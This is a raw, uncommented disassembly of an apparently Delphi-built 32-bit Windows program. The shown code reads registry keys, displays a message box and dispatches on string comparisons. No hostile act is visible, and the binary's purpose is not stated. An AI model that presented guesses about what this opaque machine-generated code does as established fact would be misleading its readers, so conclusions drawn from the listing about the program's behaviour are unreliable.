mov byte [ebp - 0x625], 1
lea edx, [ebp - 0xa0c]
mov eax, 0x5ad994
call fcn.0058fff8
mov eax, dword [ebp - 0xa0c]
call fcn.0040b328
mov dword [ebp - 0x62c], eax
cmp byte [ebp - 0x625], 0
je 0x597ee1
lea edx, [ebp - 0xa10]
mov eax, 0x5ad994
call fcn.0058fff8
mov eax, dword [ebp - 0xa10]
call fcn.0040b328
cdq
push edx
push eax
push 0
push 0x64
push 0
push 0
lea edx, [ebp - 0xa14]
mov eax, 0x5ad954
call fcn.0058fff8
mov eax, dword [ebp - 0xa14]
call fcn.005b3ae8
xor eax, eax
call fcn.0058edbc
cmp dword [ebp + 0xc], 0
je 0x597f0a
mov eax, dword [ebp - 0x534]
call dword [ebp + 0xc]
test al, al
jne 0x597f0a
push ebp
mov al, 1
call fcn.005940c0
pop ecx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5ad03a
mov edx, dword [ebp - 0x438]
mov eax, dword [0x5dbccc]
mov ecx, dword [eax]
call dword [ecx + 0x54]
inc eax
je 0x598844
cmp dword [0x5dbd74], 2
jne 0x59810f
lea ecx, [ebp - 0xa18]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0xa18], 0
je 0x59810f
xor eax, eax
push ebp
push 0x597fbe
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x609]
push eax
lea ecx, [ebp - 0xa1c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa1c]
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
call fcn.0059022c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x598017
lea ecx, [ebp - 0xa24]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0xa24], 0
jne 0x5980a2
push dword [0x5dbd38]
lea ecx, [ebp - 0xa28]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0xa28]
lea eax, [ebp - 0xa2c]
push eax
lea ecx, [ebp - 0xa30]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xa30]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
push dword [ebp - 0xa2c]
mov eax, dword [0x5d4a54]
mov edx, 3
call fcn.00405e2c
jmp 0x5986c2
push dword [0x5dbd38]
lea ecx, [ebp - 0xa34]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0xa34]
lea eax, [ebp - 0xa38]
push eax
lea ecx, [ebp - 0xa3c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xa3c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
push dword [ebp - 0xa38]
mov eax, dword [0x5d4a54]
mov edx, 3
call fcn.00405e2c
jmp 0x5986c2
cmp dword [0x5dbd74], 2
je 0x598669
lea ecx, [ebp - 0xa40]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0xa40], 0
je 0x598669
push dword [0x5dbd38]
lea ecx, [ebp - 0xa44]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0xa44]
lea eax, [ebp - 0xa48]
push eax
lea ecx, [ebp - 0xa4c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xa4c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
push dword [ebp - 0xa48]
mov eax, dword [0x5d4a54]
mov edx, 3
call fcn.00405e2c
cmp dword [0x5dbd74], 3
jne 0x59846d
mov eax, dword [0x5d4a54]
mov eax, dword [eax]
call fcn.0040b8f0
test al, al
jne 0x59846d
mov eax, 0x5dbd3c
call fcn.00405a98
xor eax, eax
push ebp
push 0x598372
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x53c], eax
lea edx, [ebp - 0xa50]
mov eax, 0x5ad780
call fcn.0058fff8
mov eax, dword [ebp - 0xa50]
call fcn.005936d4
test al, al
je 0x598222
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
jmp 0x598232
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
mov eax, dword [0x5d5110]
cmp dword [eax], 1
jne 0x59824c
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20019
lea edx, [ebp - 0xa58]
mov eax, 0x5adb78
call fcn.0058fff8
mov ecx, dword [ebp - 0xa58]
lea eax, [ebp - 0xa54]
mov edx, 0x5adc00
call fcn.00405db0
mov edx, dword [ebp - 0xa54]
xor ecx, ecx
mov eax, dword [ebp - 0x53c]
call fcn.00430a2c
lea ecx, [ebp - 0xa5c]
mov edx, 0x5adc40
mov eax, dword [ebp - 0x53c]
call fcn.00431090
mov edx, dword [ebp - 0xa5c]
mov eax, 0x5dbd3c
call fcn.00405aec
mov edx, dword [0x5dbd3c]
mov eax, 0x5adc58
call fcn.0041038c
mov edx, eax
mov eax, 0x5dbd3c
mov ecx, 1
call fcn.00405fd0
mov eax, dword [0x5dbd3c]
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x6f8]
mov dword [ebp - 0x6fc], eax
cmp dword [ebp - 0x6fc], 0
je 0x59830a
mov eax, dword [ebp - 0x6fc]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6fc], eax
mov edx, dword [0x5dbd3c]
mov eax, 0x5adc58
call fcn.0041038c
mov edx, eax
mov eax, 0x5dbd3c
mov ecx, dword [ebp - 0x6fc]
call fcn.00405fd0
lea edx, [ebp - 0xa64]
mov eax, dword [0x5dbd3c]
call fcn.0040bbcc
mov eax, dword [ebp - 0xa64]
lea edx, [ebp - 0xa60]
call fcn.00589dcc
mov edx, dword [ebp - 0xa60]
mov eax, 0x5dbd3c
call fcn.00405aec
mov eax, dword [ebp - 0x53c]
call fcn.00404b38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x598386
cmp dword [0x5d465c], 0
je 0x5983af
lea edx, [ebp - 0xa68]
mov eax, dword [0x5d465c]
call fcn.00589dcc
mov edx, dword [ebp - 0xa68]
mov eax, 0x5dbd3c
call fcn.00405aec
lea eax, [ebp - 0xa6c]
mov ecx, dword [0x5dbd08]
mov edx, dword [0x5dbd28]
call fcn.00405db0
mov eax, dword [ebp - 0xa6c]
call fcn.0040b8f0
test al, al
je 0x5983e5
mov eax, 0x5dbd3c
mov edx, dword [0x5dbd28]
call fcn.00405aec
mov eax, 0x5dbd28
mov edx, dword [0x5dbd3c]
call fcn.00405aec
mov eax, 0x5dbd38
mov edx, dword [0x5dbd3c]
call fcn.00405aec
push dword [0x5dbd38]
lea ecx, [ebp - 0xa70]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0xa70]
lea eax, [ebp - 0xa74]
push eax
lea ecx, [ebp - 0xa78]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xa78]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
push dword [ebp - 0xa74]
mov eax, dword [0x5d4a54]
mov edx, 3
call fcn.00405e2c
mov eax, dword [0x5d4a54]
mov eax, dword [eax]
call fcn.0040b8f0
test al, al
jne 0x5986c2
mov byte [ebp - 0x57d], 0
cmp byte [0x5dbcf4], 0
je 0x59849a
mov byte [ebp - 0x57d], 1
jmp 0x5984bc
mov eax, dword [0x5dbcc4]
push eax
lea ecx, [ebp - 0x3c0]
mov eax, dword [0x5d493c]
mov eax, dword [eax]
xor edx, edx
call fcn.0042d8e8
xor al, 1
mov byte [ebp - 0x57d], al
lea edx, [ebp - 0xa7c]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
lea eax, [ebp - 0xa7c]
mov edx, dword [0x5dbd08]
call fcn.00405d64
mov eax, dword [ebp - 0xa7c]
call fcn.0040b8f0
test al, al
jne 0x598532
lea edx, [ebp - 0xa84]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
push dword [ebp - 0xa84]
push 0x5aded4
push dword [0x5dbd08]
lea eax, [ebp - 0xa80]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xa80]
call fcn.0040b8f0
test al, al
jne 0x598532
xor eax, eax
jmp 0x598534
mov al, 1
mov byte [ebp - 0x57e], al
movzx eax, byte [ebp - 0x57d]
or al, byte [ebp - 0x57e]
je 0x598488
cmp byte [ebp - 0x57e], 0
je 0x59864e
lea edx, [ebp - 0xa88]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
lea eax, [ebp - 0xa88]
mov edx, dword [0x5dbd08]
call fcn.00405d64
mov eax, dword [ebp - 0xa88]
call fcn.0040b8f0
test al, al
je 0x5985ae
lea edx, [ebp - 0xa8c]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
mov edx, dword [ebp - 0xa8c]
mov eax, 0x5dbd28
call fcn.00405aec
jmp 0x5985d4
lea edx, [ebp - 0xa90]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
mov edx, dword [ebp - 0xa90]
mov eax, 0x5dbd28
mov ecx, 0x5aded4
call fcn.00405db0
mov eax, 0x5dbd38
mov edx, dword [0x5dbd28]
call fcn.00405aec
push dword [0x5dbd38]
lea ecx, [ebp - 0xa94]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0xa94]
lea eax, [ebp - 0xa98]
push eax
lea ecx, [ebp - 0xa9c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xa9c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
push dword [ebp - 0xa98]
mov eax, dword [0x5d4a54]
mov edx, 3
call fcn.00405e2c
jmp 0x5986c2
mov ecx, dword [0x5d4ee4]
mov ecx, dword [ecx]
mov dl, 1
mov eax, dword [0x409a6c]
call fcn.0040f558
call fcn.004053ec
jmp 0x5986c2
lea eax, [ebp - 0xaa4]
push eax
lea ecx, [ebp - 0xaa8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xaa8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xaa4]
lea edx, [ebp - 0xaa0]
call fcn.0040bcb8
mov ecx, dword [ebp - 0xaa0]
mov eax, dword [0x5d4a54]
mov edx, dword [0x5dbd24]
call fcn.00405db0
lea eax, [ebp - 0xaac]
call fcn.0058eed4
mov edx, dword [ebp - 0xaac]
mov eax, dword [0x5d4d14]
call fcn.00405aec
lea eax, [ebp - 0xab0]
push eax
lea ecx, [ebp - 0xab4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xab4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0xab0]
mov eax, dword [0x5d4e54]
call fcn.00405aec
mov eax, dword [0x5d4a54]
mov eax, dword [eax]
call fcn.0040b8f0
test al, al
jne 0x598774
push 0x10
lea eax, [ebp - 0xab8]
call fcn.004b05e0
mov eax, dword [ebp - 0xab8]
call fcn.00405f28
push eax
lea edx, [ebp - 0xabc]
mov eax, 0x58e0d4
call fcn.004081b8
mov eax, dword [ebp - 0xabc]
call fcn.00405f28
push eax
mov eax, dword [0x5dbcc4]
push eax
call sub.user32.dll_MessageBoxA_1
jmp 0x5acf48
mov eax, dword [0x5d4f00]
mov byte [eax], 0
mov eax, dword [0x5d483c]
mov edx, dword [0x5dbcc4]
mov dword [eax], edx
mov eax, dword [0x5d4f04]
mov byte [eax], 1
xor eax, eax
push ebp
push 0x598801
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
call fcn.0059247c
xor ecx, ecx
mov dl, 1
mov eax, dword [0x57a140]
call fcn.0042a3cc
mov edx, dword [0x5d4dcc]
mov dword [edx], eax
mov eax, dword [0x5d4dcc]
mov eax, dword [eax]
call fcn.0058edbc
call fcn.005b3ad4
inc eax
jne 0x5987df
mov eax, dword [0x5d4dcc]
mov eax, dword [eax]
call fcn.0042a884
mov eax, dword [0x5d4f00]
cmp byte [eax], 0
je 0x5987bf
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x598808
call fcn.005924cc
call fcn.00592568
ret
mov eax, dword [ebp - 0x438]
mov edx, 0x5adee4
call fcn.00405ec0
jne 0x59898f
lea eax, [ebp - 0xac4]
push eax
lea ecx, [ebp - 0xac8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xac8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xac4]
lea edx, [ebp - 0xac0]
call fcn.005939c8
mov edx, dword [ebp - 0xac0]
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
push dword [0x5dbd28]
lea eax, [ebp - 0xacc]
push eax
lea ecx, [ebp - 0xad0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xad0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
push dword [ebp - 0xacc]
push 0x5adefc
lea eax, [ebp - 0x3e8]
mov edx, 3
call fcn.00405e2c
lea eax, [ebp - 0x3e4]
call fcn.00405a98
lea eax, [ebp - 0xad4]
push eax
lea ecx, [ebp - 0xad8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xad8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xad4]
lea edx, [ebp - 0x3e4]
call fcn.0058faf0
cmp dword [ebp - 0x3e4], 0
jne 0x598968
lea edx, [ebp - 0x3e4]
mov eax, 0x5adf0c
call fcn.0058faf0
lea edx, [ebp - 0xadc]
mov eax, dword [ebp - 0x3e4]
call fcn.0058fbfc
mov edx, dword [ebp - 0xadc]
lea eax, [ebp - 0x3e4]
call fcn.00405b30
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5adf1c
call fcn.00405ec0
jne 0x598a4c
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0xae0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xae0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
lea edx, [ebp - 0xae8]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov edx, dword [ebp - 0xae8]
mov eax, dword [0x5dbcd0]
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov edx, eax
inc edx
lea ecx, [ebp - 0xae4]
mov eax, dword [0x5dbcd0]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xae4]
call fcn.0040b328
mov dword [ebp - 0x534], eax
xor eax, eax
mov dword [ebp - 0x58c], eax
mov byte [ebp - 0x584], 0
mov byte [ebp - 0x583], 0
mov byte [ebp - 0x585], 0
mov byte [ebp - 0x58d], 0
mov byte [ebp - 0x58e], 0
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5adf30
call fcn.00405ec0
jne 0x598cd9
xor eax, eax
push ebp
push 0x598cd2
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0xaec]
push eax
lea ecx, [ebp - 0xaf0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xaf0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xaec]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
lea eax, [ebp - 0xaf4]
push eax
lea ecx, [ebp - 0xaf8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xaf8]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xaf4]
lea edx, [ebp - 0x3d4]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x598be8
push 0
lea eax, [ebp - 0xb00]
push eax
lea eax, [ebp - 0xb04]
push eax
lea ecx, [ebp - 0xb08]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb08]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0xb04]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0xb00]
lea edx, [ebp - 0xafc]
call fcn.005939c8
mov edx, dword [ebp - 0xafc]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
push 0
lea eax, [ebp - 0xb10]
push eax
lea eax, [ebp - 0xb14]
push eax
lea ecx, [ebp - 0xb18]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb18]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0xb14]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b2550
mov eax, dword [ebp - 0xb10]
lea edx, [ebp - 0xb0c]
call fcn.005939c8
mov edx, dword [ebp - 0xb0c]
lea eax, [ebp - 0x3d4]
call fcn.00405b30
push 0x5adf48
lea eax, [ebp - 0xb1c]
push eax
lea ecx, [ebp - 0xb20]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb20]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xb1c]
lea ecx, [ebp - 0x424]
lea edx, [ebp - 0x420]
call fcn.0058e5a4
movzx eax, byte [0x5adf4c]
push eax
push 0
push 0
push 1
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0xb28]
mov eax, dword [ebp - 0x424]
call fcn.0058ff30
mov eax, dword [ebp - 0xb28]
push eax
lea eax, [ebp - 0xb24]
push eax
lea edx, [ebp - 0xb2c]
mov eax, dword [ebp - 0x3d4]
call fcn.0058ff30
mov eax, dword [ebp - 0xb2c]
push eax
lea edx, [ebp - 0xb30]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0xb30]
push eax
lea edx, [ebp - 0xb34]
mov eax, dword [ebp - 0x420]
call fcn.0058ff30
mov eax, dword [ebp - 0xb34]
pop edx
pop ecx
call fcn.005895bc
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5adf58
call fcn.00405ec0
jne 0x599e91
xor eax, eax
push ebp
push 0x599e8a
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
call fcn.0059247c
lea eax, [ebp - 0xb38]
push eax
lea ecx, [ebp - 0xb3c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb3c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xb38]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
lea eax, [ebp - 0xb40]
push eax
lea ecx, [ebp - 0xb44]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb44]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xb40]
lea edx, [ebp - 0x3d4]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x598e7a
push 0
lea eax, [ebp - 0xb4c]
push eax
lea eax, [ebp - 0xb50]
push eax
lea ecx, [ebp - 0xb54]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb54]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0xb50]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0xb4c]
lea edx, [ebp - 0xb48]
call fcn.005939c8
mov edx, dword [ebp - 0xb48]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
push 0
lea eax, [ebp - 0xb5c]
push eax
lea eax, [ebp - 0xb60]
push eax
lea ecx, [ebp - 0xb64]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb64]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0xb60]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b2550
mov eax, dword [ebp - 0xb5c]
lea edx, [ebp - 0xb58]
call fcn.005939c8
mov edx, dword [ebp - 0xb58]
lea eax, [ebp - 0x3d4]
call fcn.00405b30
lea eax, [ebp - 0xb6c]
push eax
lea ecx, [ebp - 0xb70]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb70]
mov ecx, 0xc
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xb6c]
lea edx, [ebp - 0xb68]
call fcn.0058ff30
mov eax, dword [ebp - 0xb68]
call fcn.005936d4
test al, al
je 0x598eff
lea edx, [ebp - 0xb78]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov edx, dword [ebp - 0xb78]
lea eax, [ebp - 0xb74]
call fcn.00406438
mov eax, dword [ebp - 0xb74]
lea edx, [ebp - 0x440]
call fcn.00586de0
lea eax, [ebp - 0xb80]
push eax
lea ecx, [ebp - 0xb84]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb84]
mov ecx, 0xd
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xb80]
lea edx, [ebp - 0xb7c]
call fcn.0058ff30
mov eax, dword [ebp - 0xb7c]
call fcn.005936d4
test al, al
je 0x598f84
lea edx, [ebp - 0xb8c]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov edx, dword [ebp - 0xb8c]
lea eax, [ebp - 0xb88]
call fcn.00406438
mov eax, dword [ebp - 0xb88]
lea edx, [ebp - 0x440]
call fcn.00586e4c
lea eax, [ebp - 0xb94]
push eax
lea ecx, [ebp - 0xb98]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb98]
mov ecx, 0xe
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xb94]
lea edx, [ebp - 0xb90]
call fcn.0058ff30
mov eax, dword [ebp - 0xb90]
call fcn.005936d4
test al, al
je 0x599009
lea edx, [ebp - 0xba0]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov edx, dword [ebp - 0xba0]
lea eax, [ebp - 0xb9c]
call fcn.00406438
mov eax, dword [ebp - 0xb9c]
lea edx, [ebp - 0x440]
call fcn.00586fb4
lea eax, [ebp - 0xba8]
push eax
lea ecx, [ebp - 0xbac]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xbac]
mov ecx, 0xf
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xba8]
lea edx, [ebp - 0xba4]
call fcn.0058ff30
mov eax, dword [ebp - 0xba4]
call fcn.005936d4
test al, al
je 0x59908e
lea edx, [ebp - 0xbb4]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov edx, dword [ebp - 0xbb4]
lea eax, [ebp - 0xbb0]
call fcn.00406438
mov eax, dword [ebp - 0xbb0]
lea edx, [ebp - 0x440]
call fcn.005872e4
lea eax, [ebp - 0xbbc]
push eax
lea ecx, [ebp - 0xbc0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xbc0]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xbbc]
lea edx, [ebp - 0xbb8]
call fcn.0058ff30
mov eax, dword [ebp - 0xbb8]
call fcn.005936d4
test al, al
je 0x599113
lea edx, [ebp - 0xbc8]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov edx, dword [ebp - 0xbc8]
lea eax, [ebp - 0xbc4]
call fcn.00406438
mov eax, dword [ebp - 0xbc4]
lea edx, [ebp - 0x440]
call fcn.00586d74
lea eax, [ebp - 0xbd0]
push eax
lea ecx, [ebp - 0xbd4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xbd4]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xbd0]
lea edx, [ebp - 0xbcc]
call fcn.0058ff30
mov eax, dword [ebp - 0xbcc]
call fcn.005936d4
test al, al
je 0x599c1f
lea eax, [ebp - 0xbdc]
push eax
lea ecx, [ebp - 0xbe0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xbe0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xbdc]
lea edx, [ebp - 0xbd8]
call fcn.0058ff30
mov eax, dword [ebp - 0xbd8]
call fcn.005936d4
test al, al
je 0x59940f
call fcn.00581e4c
lea eax, [ebp - 0x43c]
call fcn.005829ec
lea eax, [ebp - 0xbe8]
push eax
lea ecx, [ebp - 0xbec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xbec]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xbe8]
lea edx, [ebp - 0xbe4]
call fcn.0058ff30
mov eax, dword [ebp - 0xbe4]
call fcn.005936d4
test al, al
je 0x5992cd
lea eax, [ebp - 0xbf4]
push eax
lea ecx, [ebp - 0xbf8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xbf8]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xbf4]
lea edx, [ebp - 0xbf0]
call fcn.0058ff30
mov eax, dword [ebp - 0xbf0]
call fcn.005936d4
test al, al
je 0x5992a3
lea edx, [ebp - 0xbfc]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xbfc]
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x5992cd
lea edx, [ebp - 0xc00]
